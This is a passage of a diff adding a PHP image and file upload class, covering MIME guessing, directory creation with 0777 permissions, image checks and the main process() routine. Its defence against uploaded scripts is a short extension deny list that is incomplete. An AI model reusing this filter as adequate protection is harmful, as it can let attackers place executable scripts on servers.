    '; + } else { + $this->file_src_mime = null; + } + } + + // we need to work some magic if we upload via Flash + if ($this->file_src_mime == 'application/octet-stream' || !$this->file_src_mime || !is_string($this->file_src_mime) || empty($this->file_src_mime) || strpos($this->file_src_mime, '/') === FALSE) { + if ($this->file_src_mime == 'application/octet-stream') $this->log .= '- Flash may be rewriting MIME as application/octet-stream
    '; + $this->log .= '- Try to guess MIME type from file extension (' . $this->file_src_name_ext . '): '; + if (array_key_exists($this->file_src_name_ext, $this->mime_types)) $this->file_src_mime = $this->mime_types[$this->file_src_name_ext]; + if ($this->file_src_mime == 'application/octet-stream') { + $this->log .= 'doesn\'t look like anything known
    '; + } else { + $this->log .= 'MIME type set to ' . $this->file_src_mime . '
    '; + } + } + + if (!$this->file_src_mime || !is_string($this->file_src_mime) || empty($this->file_src_mime) || strpos($this->file_src_mime, '/') === FALSE) { + $this->log .= '- MIME type couldn\'t be detected! (' . (string) $this->file_src_mime . ')
    '; + } + + // determine whether the file is an image + if ($this->file_src_mime && is_string($this->file_src_mime) && !empty($this->file_src_mime) && array_key_exists($this->file_src_mime, $this->image_supported)) { + $this->file_is_image = true; + $this->image_src_type = $this->image_supported[$this->file_src_mime]; + } + + // if the file is an image, we gather some useful data + if ($this->file_is_image) { + if ($h = fopen($this->file_src_pathname, 'r')) { + fclose($h); + $info = getimagesize($this->file_src_pathname); + if (is_array($info)) { + $this->image_src_x = $info[0]; + $this->image_src_y = $info[1]; + $this->image_dst_x = $this->image_src_x; + $this->image_dst_y = $this->image_src_y; + $this->image_src_pixels = $this->image_src_x * $this->image_src_y; + $this->image_src_bits = array_key_exists('bits', $info) ? $info['bits'] : null; + } else { + $this->file_is_image = false; + $this->uploaded = false; + $this->log .= '- can\'t retrieve image information, image may have been tampered with
    '; + $this->error = $this->translate('source_invalid'); + } + } else { + $this->log .= '- can\'t read source file directly. open_basedir restriction in place?
    '; + } + } + + $this->log .= 'source variables
    '; + $this->log .= '- You can use all these before calling process()
    '; + $this->log .= '    file_src_name : ' . $this->file_src_name . '
    '; + $this->log .= '    file_src_name_body : ' . $this->file_src_name_body . '
    '; + $this->log .= '    file_src_name_ext : ' . $this->file_src_name_ext . '
    '; + $this->log .= '    file_src_pathname : ' . $this->file_src_pathname . '
    '; + $this->log .= '    file_src_mime : ' . $this->file_src_mime . '
    '; + $this->log .= '    file_src_size : ' . $this->file_src_size . ' (max= ' . $this->file_max_size . ')
    '; + $this->log .= '    file_src_error : ' . $this->file_src_error . '
    '; + + if ($this->file_is_image) { + $this->log .= '- source file is an image
    '; + $this->log .= '    image_src_x : ' . $this->image_src_x . '
    '; + $this->log .= '    image_src_y : ' . $this->image_src_y . '
    '; + $this->log .= '    image_src_pixels : ' . $this->image_src_pixels . '
    '; + $this->log .= '    image_src_type : ' . $this->image_src_type . '
    '; + $this->log .= '    image_src_bits : ' . $this->image_src_bits . '
    '; + } + } + + } + + /** + * Returns the version of GD + * + * @access public + * @param boolean $full Optional flag to get precise version + * @return float GD version + */ + function gdversion($full = false) { + static $gd_version = null; + static $gd_full_version = null; + if ($gd_version === null) { + if ($this->function_enabled('gd_info')) { + $gd = gd_info(); + $gd = $gd["GD Version"]; + $regex = "/([\d\.]+)/i"; + } else { + ob_start(); + phpinfo(8); + $gd = ob_get_contents(); + ob_end_clean(); + $regex = "/\bgd\s+version\b[^\d\n\r]+?([\d\.]+)/i"; + } + if (preg_match($regex, $gd, $m)) { + $gd_full_version = (string) $m[1]; + $gd_version = (float) $m[1]; + } else { + $gd_full_version = 'none'; + $gd_version = 0; + } + } + if ($full) { + return $gd_full_version; + } else { + return $gd_version; + } + } + + /** + * Checks if a function is available + * + * @access private + * @param string $func Function name + * @return boolean Success + */ + function function_enabled($func) { + // cache the list of disabled functions + static $disabled = null; + if ($disabled === null) $disabled = array_map('trim', array_map('strtolower', explode(',', ini_get('disable_functions')))); + // cache the list of functions blacklisted by suhosin + static $blacklist = null; + if ($blacklist === null) $blacklist = extension_loaded('suhosin') ? array_map('trim', array_map('strtolower', explode(',', ini_get(' suhosin.executor.func.blacklist')))) : array(); + // checks if the function is really enabled + return (function_exists($func) && !in_array($func, $disabled) && !in_array($func, $blacklist)); + } + + /** + * Creates directories recursively + * + * @access private + * @param string $path Path to create + * @param integer $mode Optional permissions + * @return boolean Success + */ + function rmkdir($path, $mode = 0777) { + return is_dir($path) || ( $this->rmkdir(dirname($path), $mode) && $this->_mkdir($path, $mode) ); + } + + /** + * Creates directory + * + * @access private + * @param string $path Path to create + * @param integer $mode Optional permissions + * @return boolean Success + */ + function _mkdir($path, $mode = 0777) { + $old = umask(0); + $res = @mkdir($path, $mode); + umask($old); + return $res; + } + + /** + * Translate error messages + * + * @access private + * @param string $str Message to translate + * @param array $tokens Optional token values + * @return string Translated string + */ + function translate($str, $tokens = array()) { + if (array_key_exists($str, $this->translation)) $str = $this->translation[$str]; + if (is_array($tokens) && sizeof($tokens) > 0) $str = vsprintf($str, $tokens); + return $str; + } + + /** + * Returns the temp directory + * + * @access private + * @return string Temp directory string + */ + function temp_dir() { + $dir = ''; + if ($this->function_enabled('sys_get_temp_dir')) $dir = sys_get_temp_dir(); + if (!$dir && $tmp=getenv('TMP')) $dir = $tmp; + if (!$dir && $tmp=getenv('TEMP')) $dir = $tmp; + if (!$dir && $tmp=getenv('TMPDIR')) $dir = $tmp; + if (!$dir) { + $tmp = tempnam(__FILE__,''); + if (file_exists($tmp)) { + unlink($tmp); + $dir = dirname($tmp); + } + } + if (!$dir) return ''; + $slash = (strtolower(substr(PHP_OS, 0, 3)) === 'win' ? '\\' : '/'); + if (substr($dir, -1) != $slash) $dir = $dir . $slash; + return $dir; + } + + /** + * Decodes colors + * + * @access private + * @param string $color Color string + * @return array RGB colors + */ + function getcolors($color) { + $color = str_replace('#', '', $color); + if (strlen($color) == 3) $color = str_repeat(substr($color, 0, 1), 2) . str_repeat(substr($color, 1, 1), 2) . str_repeat(substr($color, 2, 1), 2); + $r = sscanf($color, "%2x%2x%2x"); + $red = (is_array($r) && array_key_exists(0, $r) && is_numeric($r[0]) ? $r[0] : 0); + $green = (is_array($r) && array_key_exists(1, $r) && is_numeric($r[1]) ? $r[1] : 0); + $blue = (is_array($r) && array_key_exists(2, $r) && is_numeric($r[2]) ? $r[2] : 0); + return array($red, $green, $blue); + } + + /** + * Decodes sizes + * + * @access private + * @param string $size Size in bytes, or shorthand byte options + * @return integer Size in bytes + */ + function getsize($size) { + if ($size === null) return null; + $last = strtolower($size{strlen($size)-1}); + $size = (int) $size; + switch($last) { + case 'g': + $size *= 1024; + case 'm': + $size *= 1024; + case 'k': + $size *= 1024; + } + return $size; + } + + /** + * Decodes offsets + * + * @access private + * @param misc $offsets Offsets, as an integer, a string or an array + * @param integer $x Reference picture width + * @param integer $y Reference picture height + * @param boolean $round Round offsets before returning them + * @param boolean $negative Allow negative offsets to be returned + * @return array Array of four offsets (TRBL) + */ + function getoffsets($offsets, $x, $y, $round = true, $negative = true) { + if (!is_array($offsets)) $offsets = explode(' ', $offsets); + if (sizeof($offsets) == 4) { + $ct = $offsets[0]; $cr = $offsets[1]; $cb = $offsets[2]; $cl = $offsets[3]; + } else if (sizeof($offsets) == 2) { + $ct = $offsets[0]; $cr = $offsets[1]; $cb = $offsets[0]; $cl = $offsets[1]; + } else { + $ct = $offsets[0]; $cr = $offsets[0]; $cb = $offsets[0]; $cl = $offsets[0]; + } + if (strpos($ct, '%')>0) $ct = $y * (str_replace('%','',$ct) / 100); + if (strpos($cr, '%')>0) $cr = $x * (str_replace('%','',$cr) / 100); + if (strpos($cb, '%')>0) $cb = $y * (str_replace('%','',$cb) / 100); + if (strpos($cl, '%')>0) $cl = $x * (str_replace('%','',$cl) / 100); + if (strpos($ct, 'px')>0) $ct = str_replace('px','',$ct); + if (strpos($cr, 'px')>0) $cr = str_replace('px','',$cr); + if (strpos($cb, 'px')>0) $cb = str_replace('px','',$cb); + if (strpos($cl, 'px')>0) $cl = str_replace('px','',$cl); + $ct = (int) $ct; $cr = (int) $cr; $cb = (int) $cb; $cl = (int) $cl; + if ($round) { + $ct = round($ct); + $cr = round($cr); + $cb = round($cb); + $cl = round($cl); + } + if (!$negative) { + if ($ct < 0) $ct = 0; + if ($cr < 0) $cr = 0; + if ($cb < 0) $cb = 0; + if ($cl < 0) $cl = 0; + } + return array($ct, $cr, $cb, $cl); + } + + /** + * Creates a container image + * + * @access private + * @param integer $x Width + * @param integer $y Height + * @param boolean $fill Optional flag to draw the background color or not + * @param boolean $trsp Optional flag to set the background to be transparent + * @return resource Container image + */ + function imagecreatenew($x, $y, $fill = true, $trsp = false) { + if ($x < 1) $x = 1; if ($y < 1) $y = 1; + if ($this->gdversion() >= 2 && !$this->image_is_palette) { + // create a true color image + $dst_im = imagecreatetruecolor($x, $y); + // this preserves transparency in PNGs, in true color + if (empty($this->image_background_color) || $trsp) { + imagealphablending($dst_im, false ); + imagefilledrectangle($dst_im, 0, 0, $x, $y, imagecolorallocatealpha($dst_im, 0, 0, 0, 127)); + } + } else { + // creates a palette image + $dst_im = imagecreate($x, $y); + // preserves transparency for palette images, if the original image has transparency + if (($fill && $this->image_is_transparent && empty($this->image_background_color)) || $trsp) { + imagefilledrectangle($dst_im, 0, 0, $x, $y, $this->image_transparent_color); + imagecolortransparent($dst_im, $this->image_transparent_color); + } + } + // fills with background color if any is set + if ($fill && !empty($this->image_background_color) && !$trsp) { + list($red, $green, $blue) = $this->getcolors($this->image_background_color); + $background_color = imagecolorallocate($dst_im, $red, $green, $blue); + imagefilledrectangle($dst_im, 0, 0, $x, $y, $background_color); + } + return $dst_im; + } + + + /** + * Transfers an image from the container to the destination image + * + * @access private + * @param resource $src_im Container image + * @param resource $dst_im Destination image + * @return resource Destination image + */ + function imagetransfer($src_im, $dst_im) { + if (is_resource($dst_im)) imagedestroy($dst_im); + $dst_im = & $src_im; + return $dst_im; + } + + /** + * Merges two images + * + * If the output format is PNG, then we do it pixel per pixel to retain the alpha channel + * + * @access private + * @param resource $dst_img Destination image + * @param resource $src_img Overlay image + * @param int $dst_x x-coordinate of destination point + * @param int $dst_y y-coordinate of destination point + * @param int $src_x x-coordinate of source point + * @param int $src_y y-coordinate of source point + * @param int $src_w Source width + * @param int $src_h Source height + * @param int $pct Optional percentage of the overlay, between 0 and 100 (default: 100) + * @return resource Destination image + */ + function imagecopymergealpha(&$dst_im, &$src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct = 0) { + $dst_x = (int) $dst_x; + $dst_y = (int) $dst_y; + $src_x = (int) $src_x; + $src_y = (int) $src_y; + $src_w = (int) $src_w; + $src_h = (int) $src_h; + $pct = (int) $pct; + $dst_w = imagesx($dst_im); + $dst_h = imagesy($dst_im); + + for ($y = $src_y; $y < $src_h; $y++) { + for ($x = $src_x; $x < $src_w; $x++) { + + if ($x + $dst_x >= 0 && $x + $dst_x < $dst_w && $x + $src_x >= 0 && $x + $src_x < $src_w + && $y + $dst_y >= 0 && $y + $dst_y < $dst_h && $y + $src_y >= 0 && $y + $src_y < $src_h) { + + $dst_pixel = imagecolorsforindex($dst_im, imagecolorat($dst_im, $x + $dst_x, $y + $dst_y)); + $src_pixel = imagecolorsforindex($src_im, imagecolorat($src_im, $x + $src_x, $y + $src_y)); + + $src_alpha = 1 - ($src_pixel['alpha'] / 127); + $dst_alpha = 1 - ($dst_pixel['alpha'] / 127); + $opacity = $src_alpha * $pct / 100; + if ($dst_alpha >= $opacity) $alpha = $dst_alpha; + if ($dst_alpha < $opacity) $alpha = $opacity; + if ($alpha > 1) $alpha = 1; + + if ($opacity > 0) { + $dst_red = round(( ($dst_pixel['red'] * $dst_alpha * (1 - $opacity)) ) ); + $dst_green = round(( ($dst_pixel['green'] * $dst_alpha * (1 - $opacity)) ) ); + $dst_blue = round(( ($dst_pixel['blue'] * $dst_alpha * (1 - $opacity)) ) ); + $src_red = round((($src_pixel['red'] * $opacity)) ); + $src_green = round((($src_pixel['green'] * $opacity)) ); + $src_blue = round((($src_pixel['blue'] * $opacity)) ); + $red = round(($dst_red + $src_red ) / ($dst_alpha * (1 - $opacity) + $opacity)); + $green = round(($dst_green + $src_green) / ($dst_alpha * (1 - $opacity) + $opacity)); + $blue = round(($dst_blue + $src_blue ) / ($dst_alpha * (1 - $opacity) + $opacity)); + if ($red > 255) $red = 255; + if ($green > 255) $green = 255; + if ($blue > 255) $blue = 255; + $alpha = round((1 - $alpha) * 127); + $color = imagecolorallocatealpha($dst_im, $red, $green, $blue, $alpha); + imagesetpixel($dst_im, $x + $dst_x, $y + $dst_y, $color); + } + } + } + } + return true; + } + + + + /** + * Actually uploads the file, and act on it according to the set processing class variables + * + * This function copies the uploaded file to the given location, eventually performing actions on it. + * Typically, you can call {@link process} several times for the same file, + * for instance to create a resized image and a thumbnail of the same file. + * The original uploaded file remains intact in its temporary location, so you can use {@link process} several times. + * You will be able to delete the uploaded file with {@link clean} when you have finished all your {@link process} calls. + * + * According to the processing class variables set in the calling file, the file can be renamed, + * and if it is an image, can be resized or converted. + * + * When the processing is completed, and the file copied to its new location, the + * processing class variables will be reset to their default value. + * This allows you to set new properties, and perform another {@link process} on the same uploaded file + * + * If the function is called with a null or empty argument, then it will return the content of the picture + * + * It will set {@link processed} (and {@link error} is an error occurred) + * + * @access public + * @param string $server_path Optional path location of the uploaded file, with an ending slash + * @return string Optional content of the image + */ + function process($server_path = null) { + $this->error = ''; + $this->processed = true; + $return_mode = false; + $return_content = null; + + // clean up dst variables + $this->file_dst_path = ''; + $this->file_dst_pathname = ''; + $this->file_dst_name = ''; + $this->file_dst_name_body = ''; + $this->file_dst_name_ext = ''; + + // clean up some parameters + $this->file_max_size = $this->getsize($this->file_max_size); + $this->jpeg_size = $this->getsize($this->jpeg_size); + + // copy some variables as we need to keep them clean + $file_src_name = $this->file_src_name; + $file_src_name_body = $this->file_src_name_body; + $file_src_name_ext = $this->file_src_name_ext; + + if (!$this->uploaded) { + $this->error = $this->translate('file_not_uploaded'); + $this->processed = false; + } + + if ($this->processed) { + if (empty($server_path) || is_null($server_path)) { + $this->log .= 'process file and return the content
    '; + $return_mode = true; + } else { + if(strtolower(substr(PHP_OS, 0, 3)) === 'win') { + if (substr($server_path, -1, 1) != '\\') $server_path = $server_path . '\\'; + } else { + if (substr($server_path, -1, 1) != '/') $server_path = $server_path . '/'; + } + $this->log .= 'process file to ' . $server_path . '
    '; + } + } + + if ($this->processed) { + // checks file max size + if ($this->file_src_size > $this->file_max_size) { + $this->processed = false; + $this->error = $this->translate('file_too_big') . ' : ' . $this->file_src_size . ' > ' . $this->file_max_size; + } else { + $this->log .= '- file size OK
    '; + } + } + + if ($this->processed) { + // if we have an image without extension, set it + if ($this->file_force_extension && $this->file_is_image && !$this->file_src_name_ext) $file_src_name_ext = $this->image_src_type; + // turn dangerous scripts into text files + if ($this->no_script) { + // if the file has no extension, we try to guess it from the MIME type + if ($this->file_force_extension && empty($file_src_name_ext)) { + if ($key = array_search($this->file_src_mime, $this->mime_types)) { + $file_src_name_ext = $key; + $file_src_name = $file_src_name_body . '.' . $file_src_name_ext; + $this->log .= '- file renamed as ' . $file_src_name_body . '.' . $file_src_name_ext . '!
    '; + } + } + // if the file is text based, or has a dangerous extension, we rename it as .txt + if ((((substr($this->file_src_mime, 0, 5) == 'text/' && $this->file_src_mime != 'text/rtf') || strpos($this->file_src_mime, 'javascript') !== false) && (substr($file_src_name, -4) != '.txt')) + || preg_match('/\.(php|php5|php4|php3|phtml|pl|py|cgi|asp|js)$/i', $this->file_src_name) + || $this->file_force_extension && empty($file_src_name_ext)) { + $this->file_src_mime = 'text/plain'; + if ($this->file_src_name_ext) $file_src_name_body = $file_src_name_body . '.' . $this->file_src_name_ext; + $file_src_name_ext = 'txt'; + $file_src_name = $file_src_name_body . '.' . $file_src_name_ext; + $this->log .= '- script renamed as ' . $file_src_name_body . '.' . $file_src_name_ext . '!
    '; + } + } + + if ($this->mime_check && empty($this->file_src_mime)) { + $this->processed = false; + $this->error = $this->translate('no_mime'); + } else if ($this->mime_check && !empty($this->file_src_mime) && strpos($this->file_src_mime, '/') !== false) { + list($m1, $m2) = explode('/', $this->file_src_mime); + $allowed = false; + // check wether the mime type is allowed + if (!is_array($this->allowed)) $this->allowed = array($this->allowed); + foreach($this->allowed as $k => $v) { + list($v1, $v2) = explode('/', $v); + if (($v1 == '*' && $v2 == '*') || ($v1 == $m1 && ($v2 == $m2 || $v2 == '*'))) { + $allowed = true; + break; + } + } + // check wether the mime type is forbidden + if (!is_array($this->forbidden)) $this->forbidden = array($this->forbidden); + foreach($this->forbidden as $k => $v) { + list($v1, $v2) = explode('/', $v); + if (($v1 == '*' && $v2 == '*') || ($v1 == $m1 && ($v2 == $m2 || $v2 == '*'))) { + $allowed = false; + break; + } + } + if (!$allowed) { + $this->processed = false; + $this->error = $this->translate('incorrect_file'); + } else { + $this->log .= '- file mime OK : ' . $this->file_src_mime . '
    '; + } + } else { + $this->log .= '- file mime (not checked) : ' . $this->file_src_mime . '
    '; + } + + // if the file is an image, we can check on its dimensions + // these checks are not available if open_basedir restrictions are in place + if ($this->file_is_image) { + if (is_numeric($this->image_src_x) && is_numeric($this->image_src_y)) { + $ratio = $this->image_src_x / $this->image_src_y; + if (!is_null($this->image_max_width) && $this->image_src_x > $this->image_max_width) { + $this->processed = false; + $this->error = $this->translate('image_too_wide'); + } + if (!is_null($this->image_min_width) && $this->image_src_x < $this->image_min_width) { + $this->processed = false; + $this->error = $this->translate('image_too_narrow'); + } + if (!is_null($this->image_max_height) && $this->image_src_y > $this->image_max_height) { + $this->processed = false; + $this->error = $this->translate('image_too_high'); + } + if (!is_null($this->image_min_height) && $this->image_src_y < $this->image_min_height) { + $this->processed = false; + $this->error = $this->translate('image_too_short'); + } + if (!is_null($this->image_max_ratio) && $ratio > $this->image_max_ratio) { + $this->processed = false; + $this->error = $this->translate('ratio_too_high'); + } + if (!is_null($this->image_min_ratio) && $ratio < $this->image_min_ratio) { + $this->processed = false; + $this->error = $this->translate('ratio_too_low'); + } + if (!is_null($this->image_max_pixels) && $this->image_src_pixels > $this->image_max_pixels) { + $this->processed = false; + $this->error = $this->translate('too_many_pixels'); + } + if (!is_null($this->image_min_pixels) && $this->image_src_pixels < $this->image_min_pixels) { + $this->processed = false; + $this->error = $this->translate('not_enough_pixels'); + } + } else { + $this->log .= '- no image properties available, can\'t enforce dimension checks : ' . $this->file_src_mime . '
    '; + } + } + } + + if ($this->processed) { + $this->file_dst_path = $server_path; + + // repopulate dst variables from src + $this->file_dst_name = $file_src_name; + $this->file_dst_name_body = $file_src_name_body; + $this->file_dst_name_ext = $file_src_name_ext; + if ($this->file_overwrite) $this->file_auto_rename = false; + + if ($this->image_convert && $this->file_is_image) { // if we convert as an image + if ($this->file_src_name_ext) $this->file_dst_name_ext = $this->image_convert; + $this->log .= '- new file name ext : ' . $this->image_convert . '
    '; + } + if (!is_null($this->file_new_name_body)) { // rename file body + $this->file_dst_name_body = $this->file_new_name_body; + $this->log .= '- new file name body : ' . $this->file_new_name_body . '
    '; + } + if (!is_null($this->file_new_name_ext)) { // rename file ext + $this->file_dst_name_ext = $this->file_new_name_ext; + $this->log .= '- new file name ext : ' . $this->file_new_name_ext . '
    '; + } + if (!is_null($this->file_name_body_add)) { // append a string to the name + $this->file_dst_name_body = $this->file_dst_name_body . $this->file_name_body_add; + $this->log .= '- file name body append : ' . $this->file_name_body_add . '
    '; + } + if (!is_null($this->file_name_body_pre)) { // prepend a string to the name + $this->file_dst_name_body = $this->file_name_body_pre . $this->file_dst_name_body; + $this->log .= '- file name body prepend : ' . $this->file_name_body_pre . '
    '; + } + if ($this->file_safe_name) { // formats the name + $this->file_dst_name_body = utf8_encode(strtr(utf8_decode($this->file_dst_name_body), utf8_decode('ŠŽšžŸÀÁÂÃÄÅÇÈÉÊËÌÍÎÏÑÒÓÔÕÖØÙÚÛÜÝàáâãäåçèéêëìíîïñòóôõöøùúûüýÿ'), 'SZszYAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy')); + $this->file_dst_name_body = strtr($this->file_dst_name_body, array('Þ' => 'TH', 'þ' => 'th', 'Ð' => 'DH', 'ð' => 'dh', 'ß' => 'ss', 'Œ' => 'OE', 'œ' => 'oe', 'Æ' => 'AE', 'æ' => 'ae', 'µ' => 'u')); + $this->file_dst_name_body = preg_replace(array('/\s/', '/\.[\.]+/', '/[^\w_\.\-]/'), array('_', '.', ''), $this->file_dst_name_body); + $this->log .= '- file name safe format
    '; + } + + $this->log .= '- destination variables
    '; + if (empty($this->file_dst_path) || is_null($this->file_dst_path)) { + $this->log .= '    file_dst_path : n/a
    '; + } else { + $this->log .= '    file_dst_path : ' . $this->file_dst_path . '
    '; + } + $this->log .= '    file_dst_name_body : ' . $this->file_dst_name_body . '
    '; + $this->log .= '    file_dst_name_ext : ' . $this->file_dst_name_ext . '
    '; + + // set the destination file name + $this->file_dst_name = $this->file_dst_name_body . (!empty($this->file_dst_name_ext) ? '.' . $this->file_dst_name_ext : ''); + + if (!$return_mode) { + if (!$this->file_auto_rename) { + $this->log .= '- no auto_rename if same filename exists
    '; + $this->file_dst_pathname = $this->file_dst_path . $this->file_dst_name; + } else { + $this->log .= '- checking for auto_rename
    '; + $this->file_dst_pathname = $this->file_dst_path . $this->file_dst_name; + $body = $this->file_dst_name_body; + $ext = ''; + // if we have changed the extension, then we add our increment before + if ($file_src_name_ext != $this->file_src_name_ext) { + if (substr($this->file_dst_name_body, -1 - strlen($this->file_src_name_ext)) == '.' . $this->file_src_name_ext) { + $body = substr($this->file_dst_name_body, 0, strlen($this->file_dst_name_body) - 1 - strlen($this->file_src_name_ext)); + $ext = '.' . $this->file_src_name_ext; + } + } + $cpt = 1; + while (@file_exists($this->file_dst_pathname)) { + $this->file_dst_name_body = $body . '_' . $cpt . $ext; + $this->file_dst_name = $this->file_dst_name_body . (!empty($this->file_dst_name_ext) ? '.' . $this->file_dst_name_ext : ''); + $cpt++; + $this->file_dst_pathname = $this->file_dst_path . $this->file_dst_name; + } + if ($cpt>1) $this->log .= '    auto_rename to ' . $this->file_dst_name . '
    '; + } + + $this->log .= '- destination file details
    '; + $this->log .= '    file_dst_name : ' . $this->file_dst_name . '
    '; + $this->log .= '    file_dst_pathname : ' . $this->file_dst_pathname . '
    '; + + if ($this->file_overwrite) { + $this->log .= '- no overwrite checking
    '; + } else { + if (@file_exists($this->file_dst_pathname)) { + $this->processed = false; + $this->error = $this->translate('already_exists', array($this->file_dst_name)); + } else { + $this->log .= '- ' . $this->file_dst_name . ' doesn\'t exist already
    '; + } + } + } + } + + if ($this->processed) { + // if we have already moved the uploaded file, we use the temporary copy as source file, and check if it exists + if (!empty($this->file_src_temp)) { + $this->log .= '- use the temp file instead of the original file since it is a second process
    '; + $this->file_src_pathname = $this->file_src_temp; + if (!file_exists($this->file_src_pathname)) { + $this->processed = false; + $this->error = $this->translate('temp_file_missing'); + } + // if we haven't a temp file, and that we do check on uploads, we use is_uploaded_file() + } else if (!$this->no_upload_check) { + if (!is_uploaded_file($this->file_src_pathname)) { + $this->processed = false; + $this->error = $this->translate('source_missing'); + } + // otherwise, if we don't check on uploaded files (local file for instance), we use file_exists() + } else { + if (!file_exists($this->file_src_pathname)) { + $this->processed = false; + $this->error = $this->translate('source_missing'); + } + } + + // checks if the destination directory exists, and attempt to create it + if (!$return_mode) { + if ($this->processed && !file_exists($this->file_dst_path)) { + if ($this->dir_auto_create) { + $this->log .= '- ' . $this->file_dst_path . ' doesn\'t exist. Attempting creation:'; + if (!$this->rmkdir($this->file_dst_path, $this->dir_chmod)) { + $this->log .= ' failed
    '; + $this->processed = false; + $this->error = $this->translate('destination_dir'); + } else { + $this->log .= ' success
    '; + } + } else { + $this->error = $this->translate('destination_dir_missing'); + } + } + + if ($this->processed && !is_dir($this->file_dst_path)) { + $this->processed = false; + $this->error = $this->translate('destination_path_not_dir'); + } + + // checks if the destination directory is writeable, and attempt to make it writeable + $hash = md5($this->file_dst_name_body . rand(1, 1000)); + if ($this->processed && !($f = @fopen($this->file_dst_path . $hash . (!empty($this->file_dst_name_ext) ? '.' . $this->file_dst_name_ext : ''), 'a+'))) { + if ($this->dir_auto_chmod) { + $this->log .= '- ' . $this->file_dst_path . ' is not writeable. Attempting chmod:'; + if (!@chmod($this->file_dst_path, $this->dir_chmod)) { + $this->log .= ' failed
    '; + $this->processed = false; + $this->error = $this->translate('destination_dir_write'); + } else { + $this->log .= ' success
    '; + if (!($f = @fopen($this->file_dst_path . $hash . (!empty($this->file_dst_name_ext) ? '.' . $this->file_dst_name_ext : ''), 'a+'))) { // we re-check + $this->processed = false; + $this->error = $this->translate('destination_dir_write'); + } else { + @fclose($f); + } + } + } else { + $this->processed = false; + $this->error = $this->translate('destination_path_write'); + } + } else { + if ($this->processed) @fclose($f); + @unlink($this->file_dst_path . $hash . (!empty($this->file_dst_name_ext) ? '.' . $this->file_dst_name_ext : '')); + } + + + // if we have an uploaded file, and if it is the first process, and if we can't access the file directly (open_basedir restriction) + // then we create a temp file that will be used as the source file in subsequent processes + // the third condition is there to check if the file is not accessible *directly* (it already has positively gone through is_uploaded_file(), so it exists) + if (!$this->no_upload_check && empty($this->file_src_temp) && !@file_exists($this->file_src_pathname)) { + $this->log .= '- attempting to use a temp file:'; + $hash = md5($this->file_dst_name_body . rand(1, 1000)); + if (move_uploaded_file($this->file_src_pathname, $this->file_dst_path . $hash . (!empty($this->file_dst_name_ext) ? '.' . $this->file_dst_name_ext : ''))) { + $this->file_src_pathname = $this->file_dst_path . $hash . (!empty($this->file_dst_name_ext) ? '.' . $this->file_dst_name_ext : ''); + $this->file_src_temp = $this->file_src_pathname; + $this->log .= ' file created
    '; + $this->log .= '    temp file is: ' . $this->file_src_temp . '
    '; + } else { + $this->log .= ' failed
    '; + $this->processed = false; + $this->error = $this->translate('temp_file'); + } + } + } + } + + if ($this->processed) { + + // check if we need to autorotate, to automatically pre-rotates the image according to EXIF data (JPEG only) + $auto_flip = false; + $auto_rotate = 0; + if ($this->file_is_image && $this->image_auto_rotate && $this->image_src_type == 'jpg' && $this->function_enabled('exif_read_data')) { + $exif = @exif_read_data($this->file_src_pathname); + if (is_array($exif) && isset($exif['Orientation'])) { + $orientation = $exif['Orientation']; + switch($orientation) { + case 1: + $this->log .= '- EXIF orientation = 1 : default
    '; + break; + case 2: + $auto_flip = 'v'; + $this->log .= '- EXIF orientation = 2 : vertical flip
    '; + break; + case 3: + $auto_rotate = 180; + $this->log .= '- EXIF orientation = 3 : 180 rotate left
    '; + break; + case 4: + $auto_flip = 'h'; + $this->log .= '- EXIF orientation = 4 : horizontal flip
    '; + break; + case 5: + $auto_flip = 'h'; + $auto_rotate = 90; + $this->log .= '- EXIF orientation = 5 : horizontal flip + 90 rotate right
    '; + break; + case 6: + $auto_rotate = 90; + $this->log .= '- EXIF orientation = 6 : 90 rotate right
    '; + break; + case 7: + $auto_flip = 'v'; + $auto_rotate = 90; + $this->log .= '- EXIF orientation = 7 : vertical flip + 90 rotate right
    '; + break; + case 8: + $auto_rotate = 270; + $this->log .= '- EXIF orientation = 8 : 90 rotate left
    '; + break; + default: + $this->log .= '- EXIF orientation = '.$orientation.' : unknown
    '; + break; + } + } else { + $this->log .= '- EXIF data is invalid or missing
    '; + } + } else { + if (!$this->image_auto_rotate) { + $this->log .= '- auto-rotate deactivated
    '; + } else if (!$this->image_src_type == 'jpg') { + $this->log .= '- auto-rotate applies only to JPEG images
    '; + } else if (!$this->function_enabled('exif_read_data')) { + $this->log .= '- auto-rotate requires function exif_read_data to be enabled
    '; + } + } + + // do we do some image manipulation? + $image_manipulation = ($this->file_is_image && ( + $this->image_resize + || $this->image_convert != '' + || is_numeric($this->image_brightness) + || is_numeric($this->image_contrast) + || is_numeric($this->image_opacity) + || is_numeric($this->image_threshold) + || !empty($this->image_tint_color) + || !empty($this->image_overlay_color) + || $this->image_pixelate + || $this->image_unsharp + || !empty($this->image_text) + || $this->image_greyscale + || $this->image_negative + || !empty($this->image_watermark) + || $auto_rotate || $auto_flip + || is_numeric($this->image_rotate) + || is_numeric($this->jpeg_size) + || !empty($this->image_flip) + || !empty($this->image_crop) + || !empty($this->image_precrop) + || !empty($this->image_border) + || !empty($this->image_border_transparent) + || $this->image_frame > 0 + || $this->image_bevel > 0 + || $this->image_reflection_height)); + + // we do a quick check to ensure the file is really an image + // we can do this only now, as it would have failed before in case of open_basedir + if ($image_manipulation && !@getimagesize($this->file_src_pathname)) { + $this->log .= '- the file is not an image!
    '; + $image_manipulation = false; + } + + if ($image_manipulation) { + + // make sure GD doesn't complain too much + @ini_set("gd.jpeg_ignore_warning", 1); + + // checks if the source file is readable + if ($this->processed && !($f = @fopen($this->file_src_pathname, 'r'))) { + $this->processed = false; + $this->error = $this->translate('source_not_readable'); + } else { + @fclose($f); + } + + // we now do all the image manipulations + $this->log .= '- image resizing or conversion wanted
    '; + if ($this->gdversion()) { + switch($this->image_src_type) { + case 'jpg': + if (!$this->function_enabled('imagecreatefromjpeg')) { + $this->processed = false; + $this->error = $this->translate('no_create_support', array('JPEG')); + } else { + $image_src = @imagecreatefromjpeg($this->file_src_pathname); + if (!$image_src) { + $this->processed = false; + $this->error = $this->translate('create_error', array('JPEG')); + } else { + $this->log .= '- source image is JPEG
    '; + } + } + break; + case 'png': + if (!$this->function_enabled('imagecreatefrompng')) { + $this->processed = false; + $this->error = $this->translate('no_create_support', array('PNG')); + } else { + $image_src = @imagecreatefrompng($this->file_src_pathname); + if (!$image_src) { + $this->processed = false; + $this->error = $this->translate('create_error', array('PNG')); + } else { + $this->log .= '- source image is PNG
